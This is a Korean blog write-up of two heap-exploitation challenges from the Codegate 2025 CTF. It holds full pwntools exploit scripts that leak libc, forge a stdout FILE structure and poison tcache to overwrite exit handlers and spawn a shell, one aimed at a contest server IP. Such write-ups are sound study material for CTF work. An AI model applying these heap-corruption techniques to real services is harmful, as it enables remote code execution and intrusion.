2025년 3월 29일에 글로벌 국제해킹방어대회 Codegate CTF가 열렸습니다. 많은 문제들을 풀지는 못했지만 제가 푼 문제의 writeup을 올려보고자 합니다. 제가 푼 문제는 secret_note와 todo_list 이며 todo_list는 ctf 기간 동안 풀지 못하여 업솔빙을 하였습니다.
secret_note
간단한 heap note challenge 이다. 할당, 수정, 해제 가 가능하다. create를 4번하고 모두 해제하여 fastbin에 chunk를 넣어주고 create size 1024를 하여 small bin에 보내서 libc leak을 해준다.(key 값 brute focing) 그리고 libc overwrite가 가능하니 stdout fsop를 해줬다.
exploit.py
뉴비때 익스 짜던 습관이 아직도 남아있어서 익스 코드가 상당히 더럽습니다...
from pwn import *
context.log_level = 'debug'
#p = process("./prob")
p = remote("3.38.43.123", 13378)
l = ELF('./libc.so.6')
'''
1. 0~3 할당, 해제
2. 0 할당 1024 size 하면 fast bin이 small bin 으로 감
3. 그리고 1~3 할당, tcache 소모
4. 4 할당, key 는 잘못된 값, -1
5. 그러면 index 4 chunk의 key,size 부분에 libc 주소있음,
6. edit 4, key는 2바이트이고 앞에 1바이트는 0x7f 고정이니 1byte 브포 해서 key 맞추고 size는 leak 됨, libc leak 가능
'''
def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
_IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
_IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
_flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
_offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
__pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00" * 0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'3')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', b'3')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'1024')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'3')
p.sendlineafter(b'Key: ', b'0')
p.sendlineafter(b'Size: ', b'10')
p.sendlineafter(b'Data: ', b'a')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'Key: ', b'-1')
key = 0
for i in range(0x7f00, 0x7fff):
key = str(i).encode()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'Key: ', key)
result = p.recv(3)
# print(type(result))
# print(result)
if result == b'Dat':
key = i
break
p.recvuntil(b'(')
libc_end = int(p.recvuntil(b')')[:-1],10)
if libc_end < 0:
exit(0)
#print(hex(key))
#print(hex(libc_end))
libc_leak = (key*0x100000000) + libc_end
print(hex(libc_leak))
libc_base = libc_leak - 0x21acf0
print(hex(libc_base))
fake_fsop_struct = libc_leak + 0xa80 + 0x10
stdout_lock = libc_base + 0x21ca70
FSOP = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=fake_fsop_struct - 0x10,
_markers=libc_base + l.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(fake_fsop_struct - 0x8),
vtable=libc_base + l.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF,
)
ex = b'a'*0xa90
ex += FSOP
pause()
p.sendlineafter(b': ', ex)
p.interactive()
todo_list
조금 복잡한 heap note challenge 이다. Title에서 ||를 파싱하는데 취약점이 발생해서 heap overflow가 발생하고 \n 파싱하는데 취약점이 발생해서 todo_list 전역 변수에서 2바이트 overflow가 발생한다. 이를 통해 포인터를 변조하여 tcache poisoning 을 하여 exit handler overwrite 를 하였다.
from pwn import *
#context.log_level='debug'
p = process("./prob")
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'0')
ex = b'a||aaaaaaaaaaaa'
ex2 = b'bbbbbbbbbbbbbbbbbb'
p.sendafter(b'Title: ', ex)
p.sendafter(b'Desc : ', ex2)
pause()
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'0')
ex = b'||aaaaaaaaaaaaa'
ex2 = b'bbbbbbbbb\x21\x05'
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'1')
p.sendafter(b'Title: ', ex)
p.sendafter(b'Desc : ', ex2)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
for i in range(0x510 // 0x20 + 1):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'3')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
for i in range(5):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'1')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'6')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'7')
p.sendlineafter(b'Title: ', b'a')
p.sendlineafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'6')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'7')
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'0')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', b'1')
p.recvuntil(b'bbbbbbbbbbbbbbbbbb')
libc_leak = u64(p.recv(6)+b"\x00\x00")
libc_base = libc_leak - 0x203b20
initial = libc_base + 0x204fc0
system = libc_base + 0x58750
binsh = libc_base + 0x1cb42f
fs_base = libc_base - 0x28c0
print(hex(libc_base))
pause()
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'0')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', b'0')
p.recvuntil(b'bbbbbbbbbbbbbbbbbb')
heap_base = u64(p.recv(5)+b"\x00\x00\x00") << 12
heap_last_nibble = heap_base % 0x10000
print(hex(heap_last_nibble))
print(hex(heap_base))
#heap_over = heap_base + 0x2f0 unsorted bin header
heap_over = heap_base + 0x840 # tcache poisoning
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'0')
ex = b'\n[[bbbbbbbbbbbbbbbb'
ex += p16(0x840+heap_last_nibble)
ex += b'||'
p.sendafter(b'Title: ', b'a')
p.sendafter(b'Desc : ', ex)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'1')
p.sendafter(b'Title: ', b';sh;')
p.sendafter(b'Desc : ', b';sh;')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'2')
p.sendafter(b'Title: ', b'a')
p.sendafter(b'Desc : ', b'b')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'3')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'7')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', b'0')
overwrite_abs = (initial+0x10) ^ ((heap_over) >> 12) # initial
p.sendafter(b'Desc : ', p64(overwrite_abs))
#p.sendlineafter(b'Desc : ', b'\x00'*0x8+b'\x21'+b'\x05'+b'\x00'*5)
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'6')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', b'6')
overwrite_fsbase = p64(4) + p64(system<<0x11) + p64(binsh)
p.sendafter(b'Desc : ', overwrite_fsbase)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'1')
heap_over2= heap_base + 0x880
ex = b'\n[[bbbbbbbbbbbbbbbb'
ex += p16(0x880+heap_last_nibble)
ex += b'||'
p.sendafter(b'Title: ', b'a')
p.sendafter(b'Desc : ', ex)
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'2')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'7')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'7')
p.sendlineafter(b'Index: ', b'1')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', b'1')
overwrite_fs = (fs_base+0x30) ^ ((heap_over2) >> 12) # initial
p.sendafter(b'Desc : ', p64(overwrite_fs))
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'4')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'No : ', b'4')
p.sendlineafter(b'Index: ', b'7')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', b'7')
p.sendafter(b'Desc : ', p64(0))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', b'10')
p.interactive()
'ctf' 카테고리의 다른 글
핵테온 예선 후기 및 라업 (0) | 2024.05.05 |
---|